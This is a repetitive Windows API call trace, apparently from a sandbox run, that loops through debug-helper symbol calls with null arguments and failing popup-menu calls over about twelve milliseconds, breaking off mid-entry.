[0140.962] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.962] SymCleanup (hProcess=0x0) returned 0 [0140.962] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.962] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.962] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.962] GetLastError () returned 0x579 [0140.962] SetLastError (dwErrCode=0x579) [0140.962] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.962] SymCleanup (hProcess=0x0) returned 0 [0140.963] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.963] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.963] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.963] GetLastError () returned 0x579 [0140.963] SetLastError (dwErrCode=0x579) [0140.963] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.963] SymCleanup (hProcess=0x0) returned 0 [0140.963] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.963] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.963] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.963] GetLastError () returned 0x579 [0140.963] SetLastError (dwErrCode=0x579) [0140.963] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.963] SymCleanup (hProcess=0x0) returned 0 [0140.963] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.963] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.963] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.963] GetLastError () returned 0x579 [0140.963] SetLastError (dwErrCode=0x579) [0140.963] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.963] SymCleanup (hProcess=0x0) returned 0 [0140.963] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.963] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.963] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.964] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=162, param_4=96, param_5=0x0, param_6=0x0) returned 0 [0140.964] GetLastError () returned 0x579 [0140.964] SetLastError (dwErrCode=0x579) [0140.964] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.964] SymCleanup (hProcess=0x0) returned 0 [0140.964] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.964] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.964] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.964] GetLastError () returned 0x579 [0140.964] SetLastError (dwErrCode=0x579) [0140.964] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.964] SymCleanup (hProcess=0x0) returned 0 [0140.964] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.964] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.964] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.964] GetLastError () returned 0x579 [0140.964] SetLastError (dwErrCode=0x579) [0140.964] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.964] SymCleanup (hProcess=0x0) returned 0 [0140.964] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.964] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.964] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.965] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.965] GetLastError () returned 0x579 [0140.965] SetLastError (dwErrCode=0x579) [0140.965] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.965] SymCleanup (hProcess=0x0) returned 0 [0140.965] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.965] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.965] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.965] GetLastError () returned 0x579 [0140.965] SetLastError (dwErrCode=0x579) [0140.965] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.965] SymCleanup (hProcess=0x0) returned 0 [0140.965] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.965] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.965] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1119, param_4=154, param_5=0x0, param_6=0x0) returned 0 [0140.965] GetLastError () returned 0x579 [0140.965] SetLastError (dwErrCode=0x579) [0140.965] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.965] SymCleanup (hProcess=0x0) returned 0 [0140.965] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.965] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.965] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.965] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.966] GetLastError () returned 0x579 [0140.966] SetLastError (dwErrCode=0x579) [0140.966] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.966] SymCleanup (hProcess=0x0) returned 0 [0140.966] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.966] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.966] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.966] GetLastError () returned 0x579 [0140.966] SetLastError (dwErrCode=0x579) [0140.966] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.966] SymCleanup (hProcess=0x0) returned 0 [0140.966] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.966] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.966] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.966] GetLastError () returned 0x579 [0140.966] SetLastError (dwErrCode=0x579) [0140.966] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.966] SymCleanup (hProcess=0x0) returned 0 [0140.966] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.966] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.966] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.966] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.966] GetLastError () returned 0x579 [0140.966] SetLastError (dwErrCode=0x579) [0140.967] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.967] SymCleanup (hProcess=0x0) returned 0 [0140.967] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.967] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.967] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1111, param_4=0, param_5=0x0, param_6=0x0) returned 0 [0140.967] GetLastError () returned 0x579 [0140.967] SetLastError (dwErrCode=0x579) [0140.967] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.967] SymCleanup (hProcess=0x0) returned 0 [0140.967] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.967] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.967] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.967] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.967] GetLastError () returned 0x579 [0140.967] SetLastError (dwErrCode=0x579) [0140.968] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.968] SymCleanup (hProcess=0x0) returned 0 [0140.968] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.968] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.968] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.968] GetLastError () returned 0x579 [0140.968] SetLastError (dwErrCode=0x579) [0140.968] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.968] SymCleanup (hProcess=0x0) returned 0 [0140.968] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.968] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.968] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.968] GetLastError () returned 0x579 [0140.968] SetLastError (dwErrCode=0x579) [0140.968] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.968] SymCleanup (hProcess=0x0) returned 0 [0140.968] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.968] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.968] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.968] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.968] GetLastError () returned 0x579 [0140.968] SetLastError (dwErrCode=0x579) [0140.969] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.969] SymCleanup (hProcess=0x0) returned 0 [0140.969] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.969] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.969] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1422, param_4=659, param_5=0x0, param_6=0x0) returned 0 [0140.969] GetLastError () returned 0x579 [0140.969] SetLastError (dwErrCode=0x579) [0140.969] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.969] SymCleanup (hProcess=0x0) returned 0 [0140.969] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.969] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.969] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.969] GetLastError () returned 0x579 [0140.969] SetLastError (dwErrCode=0x579) [0140.969] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.969] SymCleanup (hProcess=0x0) returned 0 [0140.969] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.969] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.969] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.969] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.969] GetLastError () returned 0x579 [0140.969] SetLastError (dwErrCode=0x579) [0140.969] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.969] SymCleanup (hProcess=0x0) returned 0 [0140.970] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.970] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.970] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.970] GetLastError () returned 0x579 [0140.970] SetLastError (dwErrCode=0x579) [0140.970] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.970] SymCleanup (hProcess=0x0) returned 0 [0140.970] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.970] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.970] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.970] GetLastError () returned 0x579 [0140.970] SetLastError (dwErrCode=0x579) [0140.970] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.970] SymCleanup (hProcess=0x0) returned 0 [0140.970] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.970] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.970] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=827, param_4=323, param_5=0x0, param_6=0x0) returned 0 [0140.970] GetLastError () returned 0x579 [0140.970] SetLastError (dwErrCode=0x579) [0140.970] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.970] SymCleanup (hProcess=0x0) returned 0 [0140.970] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.970] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.971] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.971] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.971] GetLastError () returned 0x579 [0140.971] SetLastError (dwErrCode=0x579) [0140.971] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.971] SymCleanup (hProcess=0x0) returned 0 [0140.971] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.971] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.971] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.971] GetLastError () returned 0x579 [0140.971] SetLastError (dwErrCode=0x579) [0140.971] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.971] SymCleanup (hProcess=0x0) returned 0 [0140.971] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.971] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.971] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.971] GetLastError () returned 0x579 [0140.971] SetLastError (dwErrCode=0x579) [0140.971] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.971] SymCleanup (hProcess=0x0) returned 0 [0140.971] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.971] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.971] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.972] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.972] GetLastError () returned 0x579 [0140.972] SetLastError (dwErrCode=0x579) [0140.972] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.972] SymCleanup (hProcess=0x0) returned 0 [0140.972] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.972] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.972] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=627, param_4=646, param_5=0x0, param_6=0x0) returned 0 [0140.972] GetLastError () returned 0x579 [0140.972] SetLastError (dwErrCode=0x579) [0140.972] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.972] SymCleanup (hProcess=0x0) returned 0 [0140.972] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.972] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.972] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.972] GetLastError () returned 0x579 [0140.972] SetLastError (dwErrCode=0x579) [0140.972] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.972] SymCleanup (hProcess=0x0) returned 0 [0140.972] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.972] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.972] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.972] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.973] GetLastError () returned 0x579 [0140.973] SetLastError (dwErrCode=0x579) [0140.973] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.973] SymCleanup (hProcess=0x0) returned 0 [0140.973] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.973] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.973] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.973] GetLastError () returned 0x579 [0140.973] SetLastError (dwErrCode=0x579) [0140.973] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.973] SymCleanup (hProcess=0x0) returned 0 [0140.973] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.973] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.973] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.973] GetLastError () returned 0x579 [0140.973] SetLastError (dwErrCode=0x579) [0140.973] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.973] SymCleanup (hProcess=0x0) returned 0 [0140.973] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.973] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.973] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.973] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1429, param_4=642, param_5=0x0, param_6=0x0) returned 0 [0140.973] GetLastError () returned 0x579 [0140.974] SetLastError (dwErrCode=0x579) [0140.974] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.974] SymCleanup (hProcess=0x0) returned 0 [0140.974] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.974] InsertMenuItemA (hmenu=0x0, 